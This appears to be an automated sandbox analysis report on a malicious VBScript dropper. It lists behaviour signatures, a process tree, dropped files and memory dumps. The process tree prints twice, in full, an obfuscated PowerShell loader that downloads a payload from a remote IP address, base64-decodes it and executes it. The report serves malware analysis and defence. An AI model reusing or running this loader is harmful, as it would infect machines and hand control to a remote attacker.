Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
19/04/2024, 01:16
General
- Target 418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f.vbs
- Size 16KB
- Sample240419-bmsstsdd7v
- SHA256 418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$decarbonizer = 1;$Spaadomsevnen='Substrin';$Spaadomsevnen+='g';Function Aristol($Dkfarverne151){$Reutilized=$Dkfarverne151.Length-$decarbonizer;For($Spiritusbestemmelsen=4; $Spiritusbestemmelsen -lt $Reutilized; $Spiritusbestemmelsen+=(5)){$Venskabsbyer+=$Dkfarverne151.$Spaadomsevnen.Invoke($Spiritusbestemmelsen, $decarbonizer);}$Venskabsbyer;}function studielektorerne($Unportmanteaued){. ($Lselysts79) ($Unportmanteaued);}$Miljvrnet=Aristol 'SkifMBysvoSuppzPhani oalSlavlStriaKoke/Tram5Tegl.prgt0Acce Aab(FyrrWBydeiChamnOpfydKonsoKnokwKlunsVesi PolyNAwfuTH,dr Gens1Stil0Knya. Def0 Un.;Flam ko,oWDeliiOb tnHalv6Pilt4Aalb;Tilf Tr nxPrep6A.ov4Bil.;Euda Eterr FrivAsyn: ,ei1Vrge2Besk1 Eft. num0 con).fsk ProvGTi keEsgecDonkkCo.ao Ful/Worm2Bi f0Pisk1 Ste0Min,0Ejno1 Lag0Disc1Conn PseuFInteiForrrMaddeNedtfE.itoH.tex Sal/Hela1 Unp2,nte1Dybf.,rev0 Kn. ';$Flyv=Aristol 'Em,tU TubsChaseHemar,aad-,asiAGavfgExemeFlytn VedtIsot ';$Halvbilleder=Aristol 'Bad.h reatAstrtunispT ai: ,pr/F rd/Biha8Anno7Larv.C.uz1K,ow2 Vet1 Mo,..xpa1Bo c0T,le5 E t.Konk1Dehy6 Uro3Inte/ sweS PattNotooha.prRemovCouneOvogs.tatiChror HypsOver4poda3Sign.DellpPhyssBirimBrit ';$Eksaktes=Aristol ' Pia> Sag ';$Lselysts79=Aristol ' Elei LabeUndexboks ';$Avokadoens = Aristol ' ,neeSvvnctourhPa loDoub .isp%scowaHeltpAugepPenndSoutaSeratSlasaSepo%Cyke\UnhiJ ,euo Brub.ondmUndeiOdonsFlast .enrdiare tresSkidsTrot.HaanT Sn,aO.klwSate Affi&Tr.p&P.ck FoddeLaencSk uhToneoUnpu Lac$ Trl ';studielektorerne (Aristol 'Pi.f$Se,vgDecalInduoSl,ebSp eaT.tilLow :.andT,pfohStrayNonlr Ti oNeditsubchSoffeGrovr GenaMeshp.etry Sa.= Cen( Forc,illmRemid Pro Okt/ B.uc .ed Medi$TaroASkravY froS,ank OrgaS,amdAruaoLam.eNondn Muls st)Afve ');studielektorerne (Aristol 'Gtep$Afr gParglS ruo ,onb CteaPecclSu k: MerT PacrDiploLesbjUdskaexfonunpasO elkVelae egsEn.a= Fil$ImpoHSubsa PaplBarfvHyp b anniEstulFrerl mmeeSalgdLumieSnu rNive.Aryls S bp yldlSc liKomptDumo(Son.$BrunE ,egkGrntsCavya A,tkSvigtBag eSciasspoi)Uafh ');$Halvbilleder=$Trojanskes[0];studielektorerne (Aristol 'Gr,s$Kavag Disl DigoK,geb Kl,aForklLitt:ForhSCig k DupuOrdheU.sksHy,epQuari Un.lFyrsfTr,oos.onrprotfsprraHo.etBuddtWhaleNonerFuneeUndesTrom=YounN Ba.e itiwsty - askO.estbstrojH,mieMes,c B,ftFinp PolySKirkybro.sAnt,tMe ae GeomHexa.He,eNSanteTegnt ale.UproW In e SigbBestCsenilSmooi egie ymbnPlant apr ');studielektorerne (Aristol 'Swac$Int.Srepak WinuPon,eShedsNouap.piuiPaaaltegnfTysoo UnarBaisf So,aF.emtJeertUnreeFogfrHerme .insDrac.,eksH PiceArbea,flad Wele te.rSprysPt.r[B.an$ zooFAnprlsuboyOmfavamb.] Ass=Bull$B,evMTraniRummlWis.jEks.v AngrRegen Bu,e TratBall ');$Anset=Aristol 'DuehS DiskUnsuuUndeeamphsF,cipste iBarelS,mmfNoncoFl,mrSurmf I.raFototA tot,umue D lr HakeUnres,ega.TautDStrioBlanwCiv.nM amlAmatoEstiaAccedVrisF SteiUncllSynteOemh(Pers$ ,reHFlinaPulpl Ud vImpabaccei.geulBef.l eaveCaridre.re.imurRede,Sixt$PhraCPr ooAfnaaDa.adTricjUr.nuUnvedA.phiae tcNonpast,ntdioioLandrinex).anc ';$Anset=$Thyrotherapy[1]+$Anset;$Coadjudicator=$Thyrotherapy[0];studielektorerne (Aristol ',art$alpegMalalCibbo GrabIsolaKiv l Pip:Nul S onkeAfstrSt prFloraInwetUnpee BatdSt,l=Uf,l(UpseTUncoeOv.rsfarvtFrem-LoyaPI caaBo gtOverhKrse Non$,idsCBr.oo S,ra PredSumajOl suMound Ti,i BlucBistaAuretlumiopladrRe,e)Spis ');while (!$Serrated) {studielektorerne (Aristol 'Hinn$Kva,gN,nalAftro ab,b.itaaS,pelMime:.haoScowcpE iseFiskk UnstPlufr OtauSca.m.oicsMapl=Ta s$,raut Lokr RecuRes eUnde ') ;studielektorerne $Anset;studielektorerne (Aristol 'H,emS La tCabaaPlasrParctWatc-CockS Gtel,ilseIn aeda sp Ens Frek4Tra ');studielektorerne (Aristol 'Sten$ho.sgP.yclBootoAdelb FaraFourlPrec: .onS ranePho,rSemirTrama evatHankeOx,rdA.st=Phen( LarTLnnie massFiretRis,-Bl.nPCho.aPirot.iffhT.an Dimw$dogmCint oNi.haDi ed BlnjP rauDaeddOutdiUnrecAphaa.espt B,ro BrurAnem)Unar ') ;studielektorerne (Aristol 'del $HeargBeetlGei,oFotobMenaaSalslBlaa:PrepP,yrtaImmohundeuSlant C oaAdrinSnee=Vaab$,halgReinlRygsoHajrbCaroaPacklFlou: SkoC ovrlKar.a vegmSkvam piciNejdlt,leySlag+E ro+Smo,% Pyr$VandTVrimr Kr.oStilj BaraDaaln Snas .rok IndeEff,sfirc.,addc LunoDiamuSys,nSolitFors ') ;$Halvbilleder=$Trojanskes[$Pahutan];}studielektorerne (Aristol 'Pter$ Bssg EvalKu doMaskb,uitaStall S.e:MillTPimaaPartbSid rVinei mitzI re Ov =C.ac KrseGLy,te,ytttTset-TraiCL,sioDo,knSka.t rape Fl nClartPo s Fin$ BliCBetaoPeltaTilrd.racj R.ouIdyldPo.ai Derc YalaTrumtWantoUns,r Sli ');studielektorerne (Aristol 'Indl$GastgFaull OpmoTonobStvfaHomilTrop:D.fuBAlbieIco,c SamlReplapublmAgaio AllrRe.oiSupen D,agSumm Meta=Cyan Eksi[ NonSResyyKoras Hant LineNikkm lic.SociCg,psoScornFyrivBlote TubrUnu.tbesv]Baro:Iko.:pengFGenhrOmfao termafl.BAntaaHamusAtomeVejr6 res4DespSBagtt MedrBakkiSnoonGry,g ili(tale$OmbjT SpiaS.arb OptrsnitiS.ndzUnde)Fi,k ');studielektorerne (Aristol 'Leat$ RepgBl,ml Bido,dmlb.onea aaslYu.k: SwoSKonfoSemic.ndemStabaNovonTol ru siyPra, son=Fi,e Disa[PrinSFi iyKlitsAntit ruseEtagmNy d.StafTKildeUnhuxInfrthier.subdE ten SupcNonpoVejodCl.viB ggnIllug,oej] ,as:Diff:MythAGlosSUndeCRegnIHerfISeed.F mrGCic eTospt ,igSBen tMissrPro,iOve.n ReggSlav( Fug$DepoBPelse alecAp lllaana RapmBronoVensr Stuiti.snPal.gTime) Sk. ');studielektorerne (Aristol 'Nons$aforgKafflRabaoSvadb,andaM,telColt: Be G Kosu erndQuins Heln Doo= Le $.ailS O.do ,npc.onnmDysea omin powrDiaryStai.Progs baluDunkbAf,usravatOdderNyt.i llenStrag,myx(Nat,3mis 3Ungm7Va,r6Bl,n2Corv5Poah,Acep2Klis7Ar,a2Prog5Auto3 Pe.)Aabe ');studielektorerne $Gudsn;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jobmistress.Taw && echo $"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$decarbonizer = 1;$Spaadomsevnen='Substrin';$Spaadomsevnen+='g';Function Aristol($Dkfarverne151){$Reutilized=$Dkfarverne151.Length-$decarbonizer;For($Spiritusbestemmelsen=4; $Spiritusbestemmelsen -lt $Reutilized; $Spiritusbestemmelsen+=(5)){$Venskabsbyer+=$Dkfarverne151.$Spaadomsevnen.Invoke($Spiritusbestemmelsen, $decarbonizer);}$Venskabsbyer;}function studielektorerne($Unportmanteaued){. ($Lselysts79) ($Unportmanteaued);}$Miljvrnet=Aristol 'SkifMBysvoSuppzPhani oalSlavlStriaKoke/Tram5Tegl.prgt0Acce Aab(FyrrWBydeiChamnOpfydKonsoKnokwKlunsVesi PolyNAwfuTH,dr Gens1Stil0Knya. Def0 Un.;Flam ko,oWDeliiOb tnHalv6Pilt4Aalb;Tilf Tr nxPrep6A.ov4Bil.;Euda Eterr FrivAsyn: ,ei1Vrge2Besk1 Eft. num0 con).fsk ProvGTi keEsgecDonkkCo.ao Ful/Worm2Bi f0Pisk1 Ste0Min,0Ejno1 Lag0Disc1Conn PseuFInteiForrrMaddeNedtfE.itoH.tex Sal/Hela1 Unp2,nte1Dybf.,rev0 Kn. ';$Flyv=Aristol 'Em,tU TubsChaseHemar,aad-,asiAGavfgExemeFlytn VedtIsot ';$Halvbilleder=Aristol 'Bad.h reatAstrtunispT ai: ,pr/F rd/Biha8Anno7Larv.C.uz1K,ow2 Vet1 Mo,..xpa1Bo c0T,le5 E t.Konk1Dehy6 Uro3Inte/ sweS PattNotooha.prRemovCouneOvogs.tatiChror HypsOver4poda3Sign.DellpPhyssBirimBrit ';$Eksaktes=Aristol ' Pia> Sag ';$Lselysts79=Aristol ' Elei LabeUndexboks ';$Avokadoens = Aristol ' ,neeSvvnctourhPa loDoub .isp%scowaHeltpAugepPenndSoutaSeratSlasaSepo%Cyke\UnhiJ ,euo Brub.ondmUndeiOdonsFlast .enrdiare tresSkidsTrot.HaanT Sn,aO.klwSate Affi&Tr.p&P.ck FoddeLaencSk uhToneoUnpu Lac$ Trl ';studielektorerne (Aristol 'Pi.f$Se,vgDecalInduoSl,ebSp eaT.tilLow :.andT,pfohStrayNonlr Ti oNeditsubchSoffeGrovr GenaMeshp.etry Sa.= Cen( Forc,illmRemid Pro Okt/ B.uc .ed Medi$TaroASkravY froS,ank OrgaS,amdAruaoLam.eNondn Muls st)Afve ');studielektorerne (Aristol 'Gtep$Afr gParglS ruo ,onb CteaPecclSu k: MerT PacrDiploLesbjUdskaexfonunpasO elkVelae egsEn.a= Fil$ImpoHSubsa PaplBarfvHyp b anniEstulFrerl mmeeSalgdLumieSnu rNive.Aryls S bp yldlSc liKomptDumo(Son.$BrunE ,egkGrntsCavya A,tkSvigtBag eSciasspoi)Uafh ');$Halvbilleder=$Trojanskes[0];studielektorerne (Aristol 'Gr,s$Kavag Disl DigoK,geb Kl,aForklLitt:ForhSCig k DupuOrdheU.sksHy,epQuari Un.lFyrsfTr,oos.onrprotfsprraHo.etBuddtWhaleNonerFuneeUndesTrom=YounN Ba.e itiwsty - askO.estbstrojH,mieMes,c B,ftFinp PolySKirkybro.sAnt,tMe ae GeomHexa.He,eNSanteTegnt ale.UproW In e SigbBestCsenilSmooi egie ymbnPlant apr ');studielektorerne (Aristol 'Swac$Int.Srepak WinuPon,eShedsNouap.piuiPaaaltegnfTysoo UnarBaisf So,aF.emtJeertUnreeFogfrHerme .insDrac.,eksH PiceArbea,flad Wele te.rSprysPt.r[B.an$ zooFAnprlsuboyOmfavamb.] Ass=Bull$B,evMTraniRummlWis.jEks.v AngrRegen Bu,e TratBall ');$Anset=Aristol 'DuehS DiskUnsuuUndeeamphsF,cipste iBarelS,mmfNoncoFl,mrSurmf I.raFototA tot,umue D lr HakeUnres,ega.TautDStrioBlanwCiv.nM amlAmatoEstiaAccedVrisF SteiUncllSynteOemh(Pers$ ,reHFlinaPulpl Ud vImpabaccei.geulBef.l eaveCaridre.re.imurRede,Sixt$PhraCPr ooAfnaaDa.adTricjUr.nuUnvedA.phiae tcNonpast,ntdioioLandrinex).anc ';$Anset=$Thyrotherapy[1]+$Anset;$Coadjudicator=$Thyrotherapy[0];studielektorerne (Aristol ',art$alpegMalalCibbo GrabIsolaKiv l Pip:Nul S onkeAfstrSt prFloraInwetUnpee BatdSt,l=Uf,l(UpseTUncoeOv.rsfarvtFrem-LoyaPI caaBo gtOverhKrse Non$,idsCBr.oo S,ra PredSumajOl suMound Ti,i BlucBistaAuretlumiopladrRe,e)Spis ');while (!$Serrated) {studielektorerne (Aristol 'Hinn$Kva,gN,nalAftro ab,b.itaaS,pelMime:.haoScowcpE iseFiskk UnstPlufr OtauSca.m.oicsMapl=Ta s$,raut Lokr RecuRes eUnde ') ;studielektorerne $Anset;studielektorerne (Aristol 'H,emS La tCabaaPlasrParctWatc-CockS Gtel,ilseIn aeda sp Ens Frek4Tra ');studielektorerne (Aristol 'Sten$ho.sgP.yclBootoAdelb FaraFourlPrec: .onS ranePho,rSemirTrama evatHankeOx,rdA.st=Phen( LarTLnnie massFiretRis,-Bl.nPCho.aPirot.iffhT.an Dimw$dogmCint oNi.haDi ed BlnjP rauDaeddOutdiUnrecAphaa.espt B,ro BrurAnem)Unar ') ;studielektorerne (Aristol 'del $HeargBeetlGei,oFotobMenaaSalslBlaa:PrepP,yrtaImmohundeuSlant C oaAdrinSnee=Vaab$,halgReinlRygsoHajrbCaroaPacklFlou: SkoC ovrlKar.a vegmSkvam piciNejdlt,leySlag+E ro+Smo,% Pyr$VandTVrimr Kr.oStilj BaraDaaln Snas .rok IndeEff,sfirc.,addc LunoDiamuSys,nSolitFors ') ;$Halvbilleder=$Trojanskes[$Pahutan];}studielektorerne (Aristol 'Pter$ Bssg EvalKu doMaskb,uitaStall S.e:MillTPimaaPartbSid rVinei mitzI re Ov =C.ac KrseGLy,te,ytttTset-TraiCL,sioDo,knSka.t rape Fl nClartPo s Fin$ BliCBetaoPeltaTilrd.racj R.ouIdyldPo.ai Derc YalaTrumtWantoUns,r Sli ');studielektorerne (Aristol 'Indl$GastgFaull OpmoTonobStvfaHomilTrop:D.fuBAlbieIco,c SamlReplapublmAgaio AllrRe.oiSupen D,agSumm Meta=Cyan Eksi[ NonSResyyKoras Hant LineNikkm lic.SociCg,psoScornFyrivBlote TubrUnu.tbesv]Baro:Iko.:pengFGenhrOmfao termafl.BAntaaHamusAtomeVejr6 res4DespSBagtt MedrBakkiSnoonGry,g ili(tale$OmbjT SpiaS.arb OptrsnitiS.ndzUnde)Fi,k ');studielektorerne (Aristol 'Leat$ RepgBl,ml Bido,dmlb.onea aaslYu.k: SwoSKonfoSemic.ndemStabaNovonTol ru siyPra, son=Fi,e Disa[PrinSFi iyKlitsAntit ruseEtagmNy d.StafTKildeUnhuxInfrthier.subdE ten SupcNonpoVejodCl.viB ggnIllug,oej] ,as:Diff:MythAGlosSUndeCRegnIHerfISeed.F mrGCic eTospt ,igSBen tMissrPro,iOve.n ReggSlav( Fug$DepoBPelse alecAp lllaana RapmBronoVensr Stuiti.snPal.gTime) Sk. ');studielektorerne (Aristol 'Nons$aforgKafflRabaoSvadb,andaM,telColt: Be G Kosu erndQuins Heln Doo= Le $.ailS O.do ,npc.onnmDysea omin powrDiaryStai.Progs baluDunkbAf,usravatOdderNyt.i llenStrag,myx(Nat,3mis 3Ungm7Va,r6Bl,n2Corv5Poah,Acep2Klis7Ar,a2Prog5Auto3 Pe.)Aabe ');studielektorerne $Gudsn;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jobmistress.Taw && echo $"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 26924⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 868 -ip 8681⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_51d3id2p.lhf.ps1
Jobmistress.Taw
memory/868-22-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/868-32-0x0000000005A80000-0x0000000005DD4000-memory.dmp
memory/868-41-0x0000000074860000-0x0000000075010000-memory.dmp
memory/868-39-0x00000000082F0000-0x0000000008894000-memory.dmp
memory/868-17-0x0000000074860000-0x0000000075010000-memory.dmp
memory/868-16-0x0000000002750000-0x0000000002786000-memory.dmp
memory/868-18-0x00000000027D0000-0x00000000027E0000-memory.dmp
memory/868-19-0x0000000005160000-0x0000000005788000-memory.dmp
memory/868-21-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/868-33-0x0000000006070000-0x000000000608E000-memory.dmp
memory/868-38-0x00000000072B0000-0x00000000072D2000-memory.dmp
memory/868-37-0x0000000007320000-0x00000000073B6000-memory.dmp
memory/868-20-0x00000000057D0000-0x00000000057F2000-memory.dmp
memory/868-34-0x00000000060B0000-0x00000000060FC000-memory.dmp
memory/868-35-0x00000000076C0000-0x0000000007D3A000-memory.dmp
memory/868-36-0x0000000006610000-0x000000000662A000-memory.dmp
memory/4564-5-0x000001CB70220000-0x000001CB70242000-memory.dmp
memory/4564-11-0x000001CB70250000-0x000001CB70260000-memory.dmp
memory/4564-15-0x000001CB70250000-0x000001CB70260000-memory.dmp
memory/4564-10-0x00007FFD86E30000-0x00007FFD878F1000-memory.dmp
memory/4564-12-0x000001CB70250000-0x000001CB70260000-memory.dmp
memory/4564-44-0x00007FFD86E30000-0x00007FFD878F1000-memory.dmp